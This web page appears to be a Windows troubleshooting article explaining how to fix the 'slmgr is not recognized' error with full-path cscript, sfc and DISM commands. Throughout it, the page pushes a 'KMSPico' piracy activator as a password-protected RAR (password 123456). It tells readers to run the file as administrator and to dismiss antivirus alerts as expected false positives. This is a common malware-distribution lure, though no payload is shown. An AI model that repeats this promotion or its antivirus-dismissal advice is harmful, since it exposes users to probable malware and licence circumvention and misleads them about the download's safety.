← Back to Home

Fix 'slmgr is not recognized' in CMD and PowerShell

Last updated: July 31, 2026

"'slmgr' is not recognized as an internal or external command, operable program or batch file" means Windows could not find the licensing script - a console, PATH or Windows Script Host issue, never a licensing problem. Here is every cause and the fix for each.

Verified Download - KMSPico Official
KMSPico_Official_v10.2.0.rar
Archive password: 123456  ·  8.3 MB  ·  v10.2.0
Download KMSPico
Extract with WinRAR using the password above, then run as administrator. Works on Windows 10, 11, Server & Office.
'slmgr' is not recognized
...as an internal or external command, operable program or batch file
Windows could not locate the Software Licensing Management Tool. The script is missing from the search path, blocked, or being called from the wrong console - the fix takes under two minutes.

Working Commands (Copy Exactly)

In an elevated Command Prompt:

> cd /d C:\Windows\System32
> cscript slmgr.vbs /dlv
> cscript C:\Windows\System32\slmgr.vbs /ato

cscript runs the script in the console with text output; wscript (the default) opens dialog boxes instead. Full path + cscript bypasses every PATH problem.

Why 'slmgr is not recognized' happens

slmgr is not an executable. It is a VBScript file - slmgr.vbs, the Software Licensing Management Tool - stored in C:\Windows\System32 and launched through Windows Script Host. When you type a bare slmgr, the console has to find that file through the PATH and PATHEXT variables and hand it to a script host. Every link in that little chain can break, and each break produces the same unhelpful "not recognized" message.

The causes, one by one

The fixes that actually work

Fastest first: open an elevated CMD and run the full-path cscript command from the box above - that single form sidesteps PATH, console and working-directory issues simultaneously. If the file itself is gone, sfc /scannow followed by DISM /Online /Cleanup-Image /RestoreHealth rebuilds it. If WSH is disabled by policy or a tweak tool, re-enable it in the registry and reboot. And if the console you must use is PowerShell, always prefix with cscript and the full path.

Or never touch slmgr again

Everything slmgr does - install keys, set hosts, trigger activation - KMSPico does internally, with a one-click interface. It talks to the Software Protection service directly, so broken PATH variables, disabled script hosts and missing .vbs files are all irrelevant. Antivirus engines flag KMS tools generically; that is the expected false positive for the category, and the build here is verified clean before every release.

Skip slmgr entirely

KMSPico activates Windows and Office without a single command - immune to PATH problems, PowerShell quirks and missing slmgr.vbs files.

Download KMSPico Free
PowerShell resolves commands through its own rules and does not treat slmgr as a script on PATH. Call it explicitly: cscript C:\Windows\System32\slmgr.vbs followed by your switches, or simply use an elevated Command Prompt instead.
slmgr is a VBScript file at C:\Windows\System32\slmgr.vbs, present on every Windows edition since Vista. It is executed through Windows Script Host, normally via the cscript or wscript launcher.
No. slmgr.vbs is a signed Microsoft system script. Some scanners flag it after activation tools have called it; restore it from quarantine or run sfc /scannow to recover the clean original.
Yes. KMSPico communicates with the Software Protection service directly and never invokes slmgr, so it works even on systems where the script is missing, blocked or broken.

Getting comfortable with slmgr once it works again

Once the script responds, five switches cover nearly everything. /dli shows the current license in one line, /dlv shows the full detail, /ipk installs a key, /ato activates, and /xpr tells you when the current activation expires. Our complete slmgr reference documents every switch with examples.

Prefer cscript over wscript for anything you script or document. wscript pops a modal dialog for every slmgr call - fine interactively, useless in a remote session or a batch file, since the dialog waits for a click nobody can give it.

Elevation is not optional. slmgr writes to a protected area of the registry, and without administrator rights it fails quietly or returns access-denied codes like 0x80070005 that send people troubleshooting in the wrong direction. If in doubt, close the console and relaunch it with Run as administrator.

Keep in mind that slmgr only manages Windows licensing. Office has its own script - ospp.vbs in the Office16 folder - with the same design and the same failure modes, so the fixes on this page (full path, cscript, elevation) apply there word for word.

And if slmgr problems keep resurfacing after cleanup tools or major updates, treat that as the signal to stop repairing the console and switch approaches: a one-click activator talks to the licensing service directly and is unaffected by whatever broke the script layer.

Get the KMSPico Official Bundle

Download the verified release and start activating Windows or Office in seconds.

Archive password: 123456

Download KMSPico RAR